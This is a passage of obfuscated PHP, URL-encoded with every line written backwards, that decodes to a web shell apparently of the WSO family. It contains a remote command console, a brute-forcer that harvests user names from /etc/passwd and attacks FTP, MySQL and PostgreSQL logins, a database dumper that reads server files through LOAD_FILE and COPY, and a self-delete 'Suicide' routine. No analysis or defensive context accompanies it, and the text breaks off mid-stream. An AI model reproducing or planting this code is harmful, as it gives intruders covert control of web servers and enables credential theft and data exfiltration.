TSOP_%24+%2C%5D%27nigol_lqs%27%5BTSOP_%24+%2C%5D%27tsoh_lqs%27%5BTSOP_%24%28tcennoc%3E-bd%24%09%09%0D%0A%7B+%29%29%27tceles%27%3D%21%5D%271p%27%5BTSOP_%24%40%28+%26%26+%29%27daolnwod%27%3D%3D%5D%272p%27%5BTSOP_%24%40%28%28fi%09%0D%0A%3B%29%5D%27epyt%27%5BTSOP_%24%28ssalCbD+wen+%3D+bd%24%09%0D%0A%3B%7D%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%3B%22n%5C%22.%27%3B%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%27%28+SEULAV+%29%27.%29snmuloc%24+%2C%22+%2C%22%28edolpmi.%27%28+%27.elbat%24.%27+OTNI+TRESNI%27+%3D+lqs%24++++++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%09%0D%0A%3Bk%24+%3D+%5D%5Bsnmuloc%24%09%09%09%09%09%09%09%0D%0A%3B%22%27%22.%29v%24%28sehsalsdda.%22%27%22+%3D+%5Dk%24%5Bmeti%24%09%09%09%09%09%09%09%0D%0A%7B+%29v%24%3E%3Dk%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%0D%0A%3B%29%28yarra+%3D+snmuloc%24%09%09%09%09%09%09%0D%0A%7B+%29%29%28hctef%3E-siht%24+%3D+meti%24%28elihw%09%09%09%09%09%0D%0A%3B%29elbat%24.%27+MORF+%2A+TCELES%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22n%5Cn%5C%3B%22%28ohce+esle+%3B%29%22n%5Cn%5C%3B%22+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%29daeh%24%21%28fi++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%0D%0A%3B%2B%2Bi%24++++++++++++++++++++++++%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++++++%0D%0A%3B%27%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%22%28%2Ct%5Cn%5C%22+%3D.+lqs%24++++++++++++++++++++++++++++%0D%0Aesle+%7D++++++++++++++++++++++++%0D%0A%3Beslaf+%3D+daeh%24++++++++++++++++++++++++++++%0D%0A%3B%27%29%27.%29meti%24+%2C%22+%2C%22%28edolpmi.%22%28t%5Cn%5C+SEULAV+%29%22.%29snmuloc%24+%2C%22+%2C%22%28edolpmi.%27%28+%60%27.elbat%24.%27%60+OTNI+TRESNI%27+%3D.+lqs%24++++++++++++++++++++++++++++%0D%0A%7B+%29daeh%24%28fi++++++++++++++++++++++++%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%22%60%22.k%24.%22%60%22+%3D+%5D%5Bsnmuloc%24%09%09%09%09%09%09%09%0D%0A%3B%22%27%22.%29v%24%28gnirts_epacse_laer_lqsym%40.%22%27%22+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0Aesle++++++++++++++++++++++++++++%0D%0A%3Bv%24+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0A%29%29v%24%28tni_si%28fiesle++++++++++++++++++++++++++++%0D%0A%3B%22LLUN%22+%3D+%5Dk%24%5Bmeti%24++++++++++++++++++++++++++++++++%0D%0A%29llun+%3D%3D%3D+v%24%28fi++++++++++++++++++++++++++++%0D%0A%7B+%29v%24%3E%3Dk%24+sa+meti%24%28hcaerof%09%09%09%09%09%09%0D%0A%3B%29%28yarra+%3D+snmuloc%24%09%09%09%09%09%09%0D%0A%0D%0A%7D++++++++++++++++++++++++%0D%0A%3B%22n%5Cn%5C%3B%22+%3D+lqs%24++++++++++++++++++++++++++++%0D%0A%3Beurt+%3D+daeh%24++++++++++++++++++++++++++++%0D%0A%7B+%290+%3D%3D+0001+%25+i%24%28fi++++++++++++++++++++++++%0D%0A%3B%27%27+%3D+lqs%24++++++++++++++++++++++++%0D%0A%7B+%29%29%28hctef%3E-siht%24+%3D+meti%24%28elihw%09%09%09%09%09%0D%0A%3Beurt+%3D+daeh%24++++++++++++++++++++%0D%0A%3B0+%3D+i%24++++++++++++++++++++%0D%0A%3B%29%27%60%27.elbat%24.%27%60+MORF+%2A+TCELES%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3B%29lqs%24%28ohce+esle+%3B%29lqs%24+%2Cpf%24%28etirwf+%29pf%24%28fi++++++++++++++++++++%0D%0A%3B%22n%5C%3B%22.%5D1%5Betaerc%24+%3D+lqs%24%09%09%09%09%09%0D%0A%3B%29ser%24%28yarra_hctef_lqsym+%3D+etaerc%24%09%09%09%09%09%0D%0A%3B%29%27%60%27.elbat%24.%27%60+ELBAT+ETAERC+WOHS%27%28yreuq%3E-siht%24+%3D+ser%24%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29eslaf+%3D+pf%24+%2Celbat%24%28pmud+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%29r%24%2C%22n%5C%22%28edolpmi%3E%3D%27elif%27%28yarra+nruter%09%09%09%09%09%0D%0A%3B%29%272osw+elbat+pord%27%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3B%5D%27elif%27%5Bi%24+%3D+%5D%5Br%24%09%09%09%09%09%09%0D%0A%29%29%28hctef%3E-siht%24%3Di%24%28elihw%09%09%09%09%09%0D%0A%3B%29%28yarra%3Dr%24%09%09%09%09%09%0D%0A%3B%29%22%3B2osw+morf+elif+tceles%3B%27%22.%29rts%24%28sehsalsdda.%22%27+MORF+2osw+YPOC%3B%29txet+elif%282osw+ELBAT+ETAERC%22%28yreuq%3E-siht%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%29%22elif+sa+%29%27%22.%29rts%24%28sehsalsdda.%22%27%28ELIF_DAOL+TCELES%22%28yreuq%3E-siht%24%28hctef%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28eliFdaol+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24+%2Cknil%3E-siht%24%28gnidocne_tneilc_tes_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24.%27+TESRAHC+TES%27%28yreuq%3E-siht%24%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%29knil%3E-siht%24+%2Crts%24%28tesrahc_tes_lqsym%40+nruter%09%09%09%09%09%09%0D%0A%29%29%27tesrahc_tes_lqsym%27%28stsixe_noitcnuf%28fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28tesrahCtes+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%28rorre_tsal_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%28rorre_lqsym%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28rorre+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22%27golatac_gp%27+%3D%21+amehcs_elbat+DNA+%27amehcs_noitamrofni%27+%3D%21+amehcs_elbat+erehw+selbat.amehcs_noitamrofni+morf+eman_elbat+tceles%22%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%27SELBAT+WOHS%27%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28selbaTtsil+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22%27t%27%3D%21etalpmetsitad+EREHW+esabatad_gp+MORF+emantad+TCELES%22%28yreuq%3E-siht%24+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%29%22sesabatad+WOHS%22%28yreuq%3E-siht%24+nruter++++++++++++++++++++++++%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29%28sbDtsil+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29ser%24%28cossa_hctef_gp%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29ser%24%28cossa_hctef_lqsym%40+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%3Bser%3E-siht%24%3A%290%28gra_teg_cnuf%3F%29%28sgra_mun_cnuf+%3D+ser%24%09%09%09%0D%0A%7B+%29%28hctef+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24%2Cknil%3E-siht%24%28yreuq_gp%40+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3B%29rts%24%28yreuq_lqsym%40+%3D+ser%3E-siht%24+nruter%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B+%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29rts%24%28yreuq+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter%29%29bd%24%28bd_tceles_lqsym%40%28+fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B+%29bd%24%28bdtceles+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Beslaf+nruter%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter+%29+%29%22emanbd%24%3Demanbd+ssap%24%3Ddrowssap+resu%24%3Dresu+%7D%5D1%5Btsoh%24%7B%3Dtrop+%7D%5D0%5Btsoh%24%7B%3Dtsoh%22%28tcennoc_gp%40+%3D+knil%3E-siht%24+%28fi%09%09%09%09%09%0D%0A%3B2345%3D%5D1%5Btsoh%24+%29%5D1%5Btsoh%24%21%28fi%09%09%09%09%09%0D%0A%3B%29tsoh%24+%2C%27%3A%27%28edolpxe+%3D+tsoh%24%09%09%09%09%09%0D%0A%3A%27lqsgp%27+esac%09%09%09%09%0D%0A%3Bkaerb%09%09%09%09%09%0D%0A%3Beurt+nruter+%29+%29eurt%2Cssap%24%2Cresu%24%2Ctsoh%24%28tcennoc_lqsym%40+%3D+knil%3E-siht%24+%28fi%09%09%09%09%09%0D%0A%3A%27lqsym%27+esac%09%09%09%09%0D%0A%7B%09%29epyt%3E-siht%24%28hctiws%09%09%09%0D%0A%7B%29emanbd%24+%2Cssap%24+%2Cresu%24+%2Ctsoh%24%28tcennoc+noitcnuf%09%09%0D%0A%7D%09%09%0D%0A%3Bepyt%24+%3D+epyt%3E-siht%24%09%09%09%0D%0A%7B%09%29epyt%24%28ssalCbD+noitcnuf%09%09%0D%0A%3Bser%24+rav%09%09%0D%0A%3Bknil%24+rav%09%09%0D%0A%3Bepyt%24+rav%09%09%0D%0A%7B+ssalCbD+ssalc%09%0D%0A%7B+%29%28lqSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Erb%3C%3Evid%2F%3C%27+ohce%09%0D%0A%3B%27%3Eelbat%2F%3C%3Emrof%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%27.%09%09%0D%0A%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22cid.dwssap%27.%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth.%27%22%3Deulav+tcid%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CyranoitciD%3Enaps%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3E%22toor%22%3Deulav+nigol%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CnigoL%3Enaps%3C%3Edt%3C%3Ert%3C%3E%22xp51%3Atfel-gniddap%22%3Delyts+elbat%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3CyranoitciD+%3E%222%22%3Deulav+epyt%3Deman+oidar%3Depyt+tupni%3C%3Elebal%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3C%29login+%3E-+nigol%28+esrever+%3Edekcehc+1%3Deulav+esrever%3Deman+xobkcehc%3Depyt+tupni%3C%3E%22xp51%3Atfel-gniddap%22%3Delyts+lebal%3C%3Edt%3C%3Edt%2F%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3Elebal%2F%3Cdwssap%2Fcte%2F+%3Edekcehc+%221%22%3Deulav+epyt%3Deman+oidar%3Depyt+tupni%3C%3Elebal%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3Cepyt+eturB%3Enaps%3C%3Edt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3E%221.0.0.721%22%3Deulav+revres%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3Ctrop%3ArevreS%3Enaps%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27tesrahc%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27a%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth.%27%22%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3Etceles%2F%3C%3Enoitpo%2F%3ClqSergtsoP%3Elqsgp%3Deulav+noitpo%3C%3Enoitpo%2F%3ClqSyM%3Elqsym%3Deulav+noitpo%3C%3Enoitpo%2F%3CPTF%3Eptf%3Deulav+noitpo%3C%3Eotorp%3Deman+tceles%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CepyT%3Enaps%3C%3Edt%3C%3Ert%3C%3Etsop%3Ddohtem+mrof%3C%3Eelbat%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CecrofeturB%3E1h%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%22%3Erb%3C%3Evid%2F%3Csseccus%24+%3Enaps%2F%3C%3AsseccuS%3Enaps%3C+stpmetta%24+%3Enaps%2F%3C%3AstpmettA%3Enaps%3C%22+ohce%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27.%29enil%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D%27nigol%27%5BTSOP_%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%0D%0A%7B+%29+%29enil%24+%2C%5D%27nigol%27%5BTSOP_%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%28ecroFeturBosw+%28fi%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%0D%0A%3B%29enil%24%28mirt+%3D+enil%24%09%09%09%09%09%0D%0A%7B+%29enil%24+sa+pmet%24%28hcaerof%09%09%09%09%0D%0A%29+%29pmet%24%28yarra_si+%28fi%09%09%09%0D%0A%3B%29%5D%27tcid%27%5BTSOP_%24%28elif%40+%3D+pmet%24%09%09%09%0D%0A%7B+%292+%3D%3D+%5D%27epyt%27%5BTSOP_%24%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%29pmt%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%09%0D%0A%7B+%29+%29pmt%24+%2C%5D0%5Benil%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%40%28ecroFeturBosw+%28fi%09%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%09%0D%0A%3B%5Di%24%5B%5D0%5Benil%24+%3D.+pmt%24%09%09%09%09%09%09%09%0D%0A%29i%24--+%3B0%3D%3Ei%24+%3B1-%29%5D0%5Benil%24%28nelrts%3Di%24%28rof%09%09%09%09%09%09%0D%0A%3B%22%22+%3D+pmt%24%09%09%09%09%09%09%0D%0A%7B+%29%5D%27esrever%27%5BTSOP_%24%40%28fi%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%0D%0A%7B+%29+%29%5D0%5Benil%24+%2C%5D0%5Benil%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%40%28ecroFeturBosw+%28fi%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%0D%0A%3B%29enil%24+%2C%22%3A%22%28edolpxe+%3D+enil%24%09%09%09%09%09%0D%0A%7B+%29enil%24+sa+pmet%24%28hcaerof%09%09%09%09%0D%0A%29+%29pmet%24%28yarra_si+%28fi%09%09%09%0D%0A%3B%29%27dwssap%2Fcte%2F%27%28elif%40+%3D+pmet%24%09%09%09%0D%0A%7B+%291+%3D%3D+%5D%27epyt%27%5BTSOP_%24%28fi%09%09%0D%0A%3B%29%5D%27revres%27%5BTSOP_%24+%2C%22%3A%22%28edolpxe+%3D+revres%24%09%09%0D%0A%3B0+%3D+stpmetta%24%09%09%0D%0A%3B0+%3D+sseccus%24%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29ser%24%28esolc_gp%40%09%09%09%09%0D%0A%3B%29rts%24%28tcennoc_gp%40+%3D+ser%24%09%09%09%09%0D%0A%3B%22sergtsop%3Demanbd+%27%22.ssap%24.%22%27%3Ddrowssap+%27%22.nigol%24.%22%27%3Dresu+%27%22.trop%24.%22%27%3Dtrop+%27%22.pi%24.%22%27%3Dtsoh%22+%3D+rts%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27lqsgp%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29ser%24%28esolc_lqsym%40%09%09%09%09%0D%0A%3B%29ssap%24+%2Cnigol%24+%2C%296033%3Atrop%24%3Ftrop%24%28.%27%3A%27.pi%24%28tcennoc_lqsym%40+%3D+ser%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27lqsym%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29pf%24%28esolc_ptf%40%09%09%09%09%0D%0A%3B%29ssap%24+%2Cnigol%24+%2Cpf%24%28nigol_ptf%40+%3D+ser%24%09%09%09%09%0D%0A%3Beslaf+nruter+%29pf%24%21%28fi%09%09%09%09%0D%0A%3B%2912%3Atrop%24%3Ftrop%24+%2Cpi%24%28tcennoc_ptf%40+%3D+pf%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27ptf%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fi%09%09%0D%0A%3B%27%3Erb%3C%27.%29%5D%27revres%27%5BTSOP_%24%28srahclaicepslmth.%27+%3Enaps%2F%3C%3ArevreS%3Enaps%3C+%27.%29%5D%27otorp%27%5BTSOP_%24%28srahclaicepslmth.%27+%3Enaps%2F%3C%3AepyT%3Enaps%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CstluseR%3E1h%3C%27+ohce%09%09%0D%0A%7B+%29+%29%5D%27otorp%27%5BTSOP_%24%28tessi+%28fi%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28ecrofeturBnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%3Ea%2F%3CseY%3E%22%29%27%5Csey%27%5C%2Cllun%2Cllun%28g%22%3Dkcilcno+%23%3Dferh+a%3C%3Erb%3C%3Fllehs+eht+evomer+ot+tnaw+yllaeR%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CediciuS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw++++++++%0D%0A%29%27sey%27+%3D%21+%5D%271p%27%5BTSOP_%24%28fi++++%0D%0A%3B%27%21rorre+knilnu%27+ohce%09%09%09%0D%0Aesle%09%09%0D%0A%3B%29%27devomer+neeb+sah+llehS%27%28eid%09%09%09%0D%0A%29%29%29__ELIF__+%2C%27%27+%2C%27%21%2A.s%5C%29%5C%2Bd%5C%28%5C%21%27%28ecalper_gerp%28knilnu%40%28fi%09%09%0D%0A%29%27sey%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%0D%0A%0D%0A%7B+%29%28evomeRfleSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%27%21eyb%27%28eid%09%0D%0A%3B%290063+-+%29%28emit+%2C%27%27+%2C%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctes++++%0D%0A%7B+%29%28tuogoLnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%29%28sucof.dmc.fc.d%3Etpircs%3C%3Evid%2F%3C%3Emrof%2F%3C%27+ohce%09%0D%0A%3B%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22%3B%29tneve%28pk%22%3Dnwodyekno+%22%3B%25001%3Ahtdiw%3Bxp0%3Aredrob%22%3Delyts+dmc%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%24%3E%22%251%22%3Dhtdiw+dt%3C%3Ert%3C%3E%22%25001%22%3Dhtdiw+0%3Dgnicapsllec+0%3Dgniddapllec+%22%3Bxp0%3Apot-redrob%3B555%23%3Aroloc-dnuorgkcab%3B5fd%23+dilos+xp1%3Aredrob%22%3Delyts+elbat%3C%3Eaeratxet%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28xEosw.%22n%5C%22.%5D%271p%27%5BTSOP_%24.%22+%24%22%28srahclaicepslmth+ohce%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%27%3Eylnodaer+%22%3B0%3Anigram%3B0%3Amottob-redrob%22%3Delyts+tuptuo%3Deman+aeragib%3Dssalc+aeratxet%3C%3E%2Frb%3C%3Erbon%2F%3C%291%26%3E2%28+tuodts+ot+rredts+tcerider+%3E%27.%29%27%27%3A%27dekcehc%27%3F%5D%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%7C%7C%29%5D%272p%27%5BTSOP_%24%28ytpme%21%28.%27+1%3Deulav+srorre_wohs%3Deman+xobkcehc%3Depyt+tupni%3C+XAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C%3Erbon%3C+%3E%22%3E%3E%22%3Deulav+%22%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.fc.d%2Ceulav.saila.fc.d%2Cllun%2Cllun%28g%7Besle%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.fc.d%2Ceulav.saila.fc.d%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.fc.d%28fi%3B%29eulav.saila.fc.d%28dda%22%3Dkcilcno+nottub%3Depyt+tupni%3C%3Etceles%2F%3C%27+ohce%09%0D%0A%09%0D%0A%7D%09%0D%0A%3B%27%3Enoitpo%2F%3C%27.n%24.%27%3E%22%27.%29v%24%28srahclaicepslmth.%27%22%3Deulav+noitpo%3C%27+ohce%09%09%0D%0A%7D%09%09%0D%0A%3Beunitnoc%09%09%09%0D%0A%3B%27%3Epuorgtpo%2F%3C%3E%22-%27.%29n%24%28srahclaicepslmth.%27-%22%3Dlebal+puorgtpo%3C%27+ohce%09%09%09%0D%0A%7B+%29%27%27+%3D%3D+v%24%28fi%09%09%0D%0A%7B+%29v%24+%3E%3D+n%24+sa+%5D%27sesaila%27%5BSLABOLG%24%28hcaerof%09%0D%0A%3B%27%3Esaila%3Deman+tceles%3C%3E%22%3Beslaf+nruter+%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.siht%2Ceulav.dmc.siht%2Cllun%2Cllun%28g%7Besle%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.siht%2Ceulav.dmc.siht%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.siht%28fi%3B%29eulav.dmc.siht%28dda%7D%3Beslaf+nruter%3B%27%5C%27%5C%3Deulav.dmc.fc.d%3B%27%5C%27%5C%3Deulav.tuptuo.fc.d%7B%29%27%5Craelc%27%5C%3D%3Deulav.dmc.fc.d%28fi%22%3Dtimbusno+fc%3Deman+mrof%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CelosnoC%3E1h%3C%27+ohce%09%0D%0A%3B%22%3Etpircs%2F%3C%0D%0A%7D%0D%0A%3B1-htgnel.sdmc+%3D+ruc%09%0D%0A%3B%29%27%27%28hsup.sdmc%09%0D%0A%3B%29dmc%28hsup.sdmc%09%0D%0A%3B%29%28pop.sdmc%09%0D%0A%7B+%29dmc%28dda+noitcnuf%0D%0A%7D%0D%0A%7D%09%0D%0A%3B--ruc%09%09%09%0D%0Aesle%09%09%0D%0A%3B%5Druc%5Bsdmc+%3D+eulav.dmc.fc.tnemucod%09%09%09%0D%0A%29htgnel.sdmc+%3C+ruc%28fi%09%09%0D%0